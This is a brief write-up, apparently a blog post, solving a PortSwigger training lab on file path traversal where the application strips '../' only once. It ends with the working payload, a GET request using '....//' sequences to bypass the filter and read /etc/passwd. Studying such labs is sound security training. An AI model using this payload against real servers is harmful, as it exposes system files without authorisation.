On this page
apsyleg1 min read
#portswigger #path-traversal #web-security

File Path Traversal: Non-Recursive Stripping of Traversal Sequences

Lab

File path traversal, traversal sequences stripped non-recursively · Apprentice

Solution

Given

This lab contains a path traversal vulnerability in the display of product images.

The application strips path traversal sequences from the user-supplied filename before using it.

To solve the lab, retrieve the contents of the /etc/passwd file.

Analysis and recon

Same as the previous lab, except this time the app removes ../ but not recursively.

Final payload

GET /image?filename=....//....//....//etc/passwd